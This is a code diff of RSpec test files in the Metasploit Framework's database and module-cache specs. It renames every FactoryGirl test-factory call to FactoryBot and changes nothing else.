@ -1011,7 +1011,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:name) do
|
let(:name) do
|
||||||
FactoryGirl.generate :mdm_module_platform_name
|
FactoryBot.generate :mdm_module_platform_name
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should create an Mdm::Module::Platform' do
|
it 'should create an Mdm::Module::Platform' do
|
||||||
|
@ -1048,7 +1048,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:name) do
|
let(:name) do
|
||||||
FactoryGirl.generate :mdm_module_ref_name
|
FactoryBot.generate :mdm_module_ref_name
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should create an Mdm::Module::Ref' do
|
it 'should create an Mdm::Module::Ref' do
|
||||||
|
@ -1086,11 +1086,11 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:index) do
|
let(:index) do
|
||||||
FactoryGirl.generate :mdm_module_target_index
|
FactoryBot.generate :mdm_module_target_index
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:name) do
|
let(:name) do
|
||||||
FactoryGirl.generate :mdm_module_target_name
|
FactoryBot.generate :mdm_module_target_name
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should create an Mdm::Module::Target' do
|
it 'should create an Mdm::Module::Target' do
|
||||||
|
|
|
@ -5,11 +5,11 @@ RSpec.shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#n
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:module_platform) do
|
let!(:module_platform) do
|
||||||
FactoryGirl.create(:mdm_module_platform)
|
FactoryBot.create(:mdm_module_platform)
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:module_target) do
|
let!(:module_target) do
|
||||||
FactoryGirl.create(:mdm_module_target)
|
FactoryBot.create(:mdm_module_target)
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'with Mdm::Module::Platform#name' do
|
context 'with Mdm::Module::Platform#name' do
|
||||||
|
|
|
@ -5,7 +5,7 @@ RSpec.shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name k
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:name) do
|
let(:name) do
|
||||||
FactoryGirl.generate :mdm_module_ref_name
|
FactoryBot.generate :mdm_module_ref_name
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:search_string) do
|
let(:search_string) do
|
||||||
|
@ -13,7 +13,7 @@ RSpec.shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name k
|
||||||
end
|
end
|
||||||
|
|
||||||
before(:example) do
|
before(:example) do
|
||||||
FactoryGirl.create(:mdm_module_ref, :name => name)
|
FactoryBot.create(:mdm_module_ref, :name => name)
|
||||||
end
|
end
|
||||||
|
|
||||||
name_prefix = "#{keyword.to_s.upcase}-"
|
name_prefix = "#{keyword.to_s.upcase}-"
|
||||||
|
|
|
@ -33,7 +33,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:host) do
|
let(:host) do
|
||||||
FactoryGirl.create(:mdm_host, :workspace => session_workspace)
|
FactoryBot.create(:mdm_host, :workspace => session_workspace)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:module_instance) do
|
let(:module_instance) do
|
||||||
|
@ -50,7 +50,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:options_workspace) do
|
let(:options_workspace) do
|
||||||
FactoryGirl.create(:mdm_workspace)
|
FactoryBot.create(:mdm_workspace)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:parent_module_fullname) do
|
let(:parent_module_fullname) do
|
||||||
|
@ -95,7 +95,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:session_workspace) do
|
let(:session_workspace) do
|
||||||
FactoryGirl.create(:mdm_workspace)
|
FactoryBot.create(:mdm_workspace)
|
||||||
end
|
end
|
||||||
|
|
||||||
before(:example) do
|
before(:example) do
|
||||||
|
@ -115,7 +115,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
FactoryGirl.create(
|
FactoryBot.create(
|
||||||
:mdm_module_detail,
|
:mdm_module_detail,
|
||||||
:fullname => parent_module_fullname,
|
:fullname => parent_module_fullname,
|
||||||
:name => parent_module_name
|
:name => parent_module_name
|
||||||
|
@ -128,11 +128,11 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:match_set) do
|
let(:match_set) do
|
||||||
FactoryGirl.create(:automatic_exploitation_match_set, user: session_workspace.owner,workspace:session_workspace)
|
FactoryBot.create(:automatic_exploitation_match_set, user: session_workspace.owner,workspace:session_workspace)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:run) do
|
let(:run) do
|
||||||
FactoryGirl.create(:automatic_exploitation_run, workspace: session_workspace, match_set_id: match_set.id)
|
FactoryBot.create(:automatic_exploitation_run, workspace: session_workspace, match_set_id: match_set.id)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:user_data) do
|
let(:user_data) do
|
||||||
|
@ -175,7 +175,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
|
||||||
|
|
||||||
context 'with session responds to arch' do
|
context 'with session responds to arch' do
|
||||||
let(:arch) do
|
let(:arch) do
|
||||||
FactoryGirl.generate :mdm_host_arch
|
FactoryBot.generate :mdm_host_arch
|
||||||
end
|
end
|
||||||
|
|
||||||
before(:example) do
|
before(:example) do
|
||||||
|
@ -306,7 +306,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:service) do
|
let(:service) do
|
||||||
FactoryGirl.create(
|
FactoryBot.create(
|
||||||
:mdm_service,
|
:mdm_service,
|
||||||
:host => host
|
:host => host
|
||||||
)
|
)
|
||||||
|
@ -504,7 +504,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
|
||||||
|
|
||||||
context 'with session responds to arch' do
|
context 'with session responds to arch' do
|
||||||
let(:arch) do
|
let(:arch) do
|
||||||
FactoryGirl.generate :mdm_host_arch
|
FactoryBot.generate :mdm_host_arch
|
||||||
end
|
end
|
||||||
|
|
||||||
before(:example) do
|
before(:example) do
|
||||||
|
@ -635,7 +635,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:service) do
|
let(:service) do
|
||||||
FactoryGirl.create(
|
FactoryBot.create(
|
||||||
:mdm_service,
|
:mdm_service,
|
||||||
:host => host
|
:host => host
|
||||||
)
|
)
|
||||||
|
@ -818,7 +818,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
|
||||||
|
|
||||||
context 'with Mdm::Host' do
|
context 'with Mdm::Host' do
|
||||||
let(:host) do
|
let(:host) do
|
||||||
FactoryGirl.create(:mdm_host)
|
FactoryBot.create(:mdm_host)
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'created Mdm::Session' do
|
context 'created Mdm::Session' do
|
||||||
|
@ -923,7 +923,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
|
||||||
|
|
||||||
context 'with :routes' do
|
context 'with :routes' do
|
||||||
let(:routes) do
|
let(:routes) do
|
||||||
FactoryGirl.build_list(
|
FactoryBot.build_list(
|
||||||
:mdm_route,
|
:mdm_route,
|
||||||
1,
|
1,
|
||||||
:session => nil
|
:session => nil
|
||||||
|
|
|
@ -311,7 +311,7 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
|
||||||
#
|
#
|
||||||
|
|
||||||
let!(:mdm_module_detail) do
|
let!(:mdm_module_detail) do
|
||||||
FactoryGirl.create(:mdm_module_detail,
|
FactoryBot.create(:mdm_module_detail,
|
||||||
:file => path,
|
:file => path,
|
||||||
:mtype => type,
|
:mtype => type,
|
||||||
:mtime => pathname.mtime,
|
:mtime => pathname.mtime,
|
||||||
|
|
Loading…
Reference in New Issue